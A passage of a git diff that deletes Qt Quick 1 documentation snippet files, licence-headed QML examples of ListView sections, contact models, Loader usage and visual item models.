LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//! [document] -import QtQuick 1.0 - -//! [parent begin] -Rectangle { -//! [parent begin] - width: 150; height: 300; color: "white" - -//! [model] -ListModel { - id: nameModel - ListElement { name: "Alice"; team: "Crypto" } - ListElement { name: "Bob"; team: "Crypto" } - ListElement { name: "Jane"; team: "QA" } - ListElement { name: "Victor"; team: "QA" } - ListElement { name: "Wendy"; team: "Graphics" } -} -//! [model] - -//! [delegate] -Component { - id: nameDelegate - Text { - text: name; - font.pixelSize: 24 - anchors.left: parent.left - anchors.leftMargin: 2 - } -} -//! [delegate] - -//! [section] -ListView { - anchors.fill: parent - model: nameModel - delegate: nameDelegate - focus: true - highlight: Rectangle { - color: "lightblue" - width: parent.width - } - section { - property: "team" - criteria: ViewSection.FullString - delegate: Rectangle { - color: "#b0dfb0" - width: parent.width - height: childrenRect.height + 4 - Text { anchors.horizontalCenter: parent.horizontalCenter - font.pixelSize: 16 - font.bold: true - text: section - } - } - } -} -//! [section] - -//! [parent end] -} -//! [parent end] -//! [document] diff --git a/doc/src/snippets/qtquick1/listview.qml b/doc/src/snippets/qtquick1/listview.qml deleted file mode 100644 index c3e2c546c7..0000000000 --- a/doc/src/snippets/qtquick1/listview.qml +++ /dev/null @@ -1,87 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -//! [parent begin] -Rectangle { -//! [parent begin] - width: 175; height: 175; color: "white" - -//! [model] -ListModel { - id: petlist - ListElement { type: "Cat" } - ListElement { type: "Dog" } - ListElement { type: "Mouse" } - ListElement { type: "Rabbit" } - ListElement { type: "Horse" } -} -//! [model] - -//! [delegate] -Component { - id: petdelegate - Text { - id: label - font.pixelSize: 24 - text: if (index == 0) - label.text = type + " (default)" - else - text: type - } -} -//! [delegate] - -//! [view] -ListView { - id: view - anchors.fill: parent - - model: petlist - delegate: petdelegate -} -//! [view] - -//! [parent end] -} -//! [parent end] -//! [document] diff --git a/doc/src/snippets/qtquick1/listview/ContactModel.qml b/doc/src/snippets/qtquick1/listview/ContactModel.qml deleted file mode 100644 index c0f84b63a2..0000000000 --- a/doc/src/snippets/qtquick1/listview/ContactModel.qml +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -ListModel { - ListElement { - name: "Bill Smith" - number: "555 3264" - } - ListElement { - name: "John Brown" - number: "555 8426" - } - ListElement { - name: "Sam Wise" - number: "555 0473" - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/listview/listview-snippet.qml b/doc/src/snippets/qtquick1/listview/listview-snippet.qml deleted file mode 100644 index cc22d6b675..0000000000 --- a/doc/src/snippets/qtquick1/listview/listview-snippet.qml +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -ListView { - width: 50; height: 200 - model: 4 - delegate: Text { - text: index; - font.pixelSize: 40 - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/listview/listview.qml b/doc/src/snippets/qtquick1/listview/listview.qml deleted file mode 100644 index 260ba708ee..0000000000 --- a/doc/src/snippets/qtquick1/listview/listview.qml +++ /dev/null @@ -1,149 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![import] -import QtQuick 1.0 -//![import] - -Item { - -//![classdocs simple] -ListView { - width: 180; height: 200 - - model: ContactModel {} - delegate: Text { - text: name + ": " + number - } -} -//![classdocs simple] - -//![classdocs advanced] -Rectangle { - width: 180; height: 200 - - Component { - id: contactDelegate - Item { - width: 180; height: 40 - Column { - Text { text: 'Name: ' + name } - Text { text: 'Number: ' + number } - } - } - } - - ListView { - anchors.fill: parent - model: ContactModel {} - delegate: contactDelegate - highlight: Rectangle { color: "lightsteelblue"; radius: 5 } - focus: true - } -} -//![classdocs advanced] - -//![delayRemove] -Component { - id: delegate - Item { - ListView.onRemove: SequentialAnimation { - PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true } - NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: Easing.InOutQuad } - PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: false } - } - } -} -//![delayRemove] - -//![highlightFollowsCurrentItem] -Component { - id: highlight - Rectangle { - width: 180; height: 40 - color: "lightsteelblue"; radius: 5 - y: list.currentItem.y - Behavior on y { - SpringAnimation { - spring: 3 - damping: 0.2 - } - } - } -} - -ListView { - id: list - width: 180; height: 200 - model: ContactModel {} - delegate: Text { text: name } - - highlight: highlight - highlightFollowsCurrentItem: false - focus: true -} -//![highlightFollowsCurrentItem] - -//![isCurrentItem] -ListView { - width: 180; height: 200 - - Component { - id: contactsDelegate - Rectangle { - id: wrapper - width: 180 - height: contactInfo.height - color: ListView.isCurrentItem ? "black" : "red" - Text { - id: contactInfo - text: name + ": " + number - color: wrapper.ListView.isCurrentItem ? "red" : "black" - } - } - } - - model: ContactModel {} - delegate: contactsDelegate - focus: true -} -//![isCurrentItem] - -} diff --git a/doc/src/snippets/qtquick1/loader/KeyReader.qml b/doc/src/snippets/qtquick1/loader/KeyReader.qml deleted file mode 100644 index 9576a2d3a6..0000000000 --- a/doc/src/snippets/qtquick1/loader/KeyReader.qml +++ /dev/null @@ -1,53 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Item { - Item { - focus: true - Keys.onPressed: { - console.log("Loaded item captured:", event.text); - event.accepted = true; - } - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/loader/MyItem.qml b/doc/src/snippets/qtquick1/loader/MyItem.qml deleted file mode 100644 index dcf72f55c5..0000000000 --- a/doc/src/snippets/qtquick1/loader/MyItem.qml +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Rectangle { - id: myItem - signal message(string msg) - - width: 100; height: 100 - - MouseArea { - anchors.fill: parent - onClicked: myItem.message("clicked!") - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/loader/connections.qml b/doc/src/snippets/qtquick1/loader/connections.qml deleted file mode 100644 index fb28430902..0000000000 --- a/doc/src/snippets/qtquick1/loader/connections.qml +++ /dev/null @@ -1,57 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Item { - width: 100; height: 100 - - Loader { - id: myLoader - source: "MyItem.qml" - } - - Connections { - target: myLoader.item - onMessage: console.log(msg) - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/loader/focus.qml b/doc/src/snippets/qtquick1/loader/focus.qml deleted file mode 100644 index d73ed7ab14..0000000000 --- a/doc/src/snippets/qtquick1/loader/focus.qml +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - - Loader { - id: loader - focus: true - } - - MouseArea { - anchors.fill: parent - onClicked: loader.source = "KeyReader.qml" - } - - Keys.onPressed: { - console.log("Captured:", event.text); - } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/loader/simple.qml b/doc/src/snippets/qtquick1/loader/simple.qml deleted file mode 100644 index 9e4f266bf4..0000000000 --- a/doc/src/snippets/qtquick1/loader/simple.qml +++ /dev/null @@ -1,54 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Item { - width: 200; height: 200 - - Loader { id: pageLoader } - - MouseArea { - anchors.fill: parent - onClicked: pageLoader.source = "Page1.qml" - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/loader/sizeitem.qml b/doc/src/snippets/qtquick1/loader/sizeitem.qml deleted file mode 100644 index 25fb9b8e2a..0000000000 --- a/doc/src/snippets/qtquick1/loader/sizeitem.qml +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Item { - width: 200; height: 200 - - Loader { - // position the Loader in the center of the parent - anchors.centerIn: parent - sourceComponent: rect - } - - Component { - id: rect - Rectangle { - width: 50 - height: 50 - color: "red" - } - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/loader/sizeloader.qml b/doc/src/snippets/qtquick1/loader/sizeloader.qml deleted file mode 100644 index 0bccc2142a..0000000000 --- a/doc/src/snippets/qtquick1/loader/sizeloader.qml +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Item { - width: 200; height: 200 - - Loader { - // Explicitly set the size of the Loader to the parent item's size - anchors.fill: parent - sourceComponent: rect - } - - Component { - id: rect - Rectangle { - width: 50 - height: 50 - color: "red" - } - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/models/views-models-delegates.qml b/doc/src/snippets/qtquick1/models/views-models-delegates.qml deleted file mode 100644 index cb5a6792db..0000000000 --- a/doc/src/snippets/qtquick1/models/views-models-delegates.qml +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -//! [rectangle] -Rectangle { - width: 200; height: 200 - - ListModel { - id: fruitModel - property string language: "en" - ListElement { - name: "Apple" - cost: 2.45 - } - ListElement { - name: "Orange" - cost: 3.25 - } - ListElement { - name: "Banana" - cost: 1.95 - } - } - - Component { - id: fruitDelegate - Row { - Text { text: " Fruit: " + name; color: ListView.view.fruit_color } - Text { text: " Cost: $" + cost } - Text { text: " Language: " + ListView.view.model.language } - } - } - - ListView { - property color fruit_color: "green" - model: fruitModel - delegate: fruitDelegate - anchors.fill: parent - } -} -//! [rectangle] diff --git a/doc/src/snippets/qtquick1/models/visual-model-and-view.qml b/doc/src/snippets/qtquick1/models/visual-model-and-view.qml deleted file mode 100644 index 3026e18754..0000000000 --- a/doc/src/snippets/qtquick1/models/visual-model-and-view.qml +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - - //! [visual model and view] - VisualItemModel { - id: itemModel - Rectangle { height: 30; width: 80; color: "red" } - Rectangle { height: 30; width: 80; color: "green" } - Rectangle { height: 30; width: 80; color: "blue" } - } - - ListView { - anchors.fill: parent - model: itemModel - } - //! [visual model and view] -} diff --git a/doc/src/snippets/qtquick1/mousearea/mousearea-snippet.qml b/doc/src/snippets/qtquick1/mousearea/mousearea-snippet.qml deleted file mode 100644 index aecfce6cb0..0000000000 --- a/doc/src/snippets/qtquick1/mousearea/mousearea-snippet.qml +++ /dev/null @@ -1,98 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt 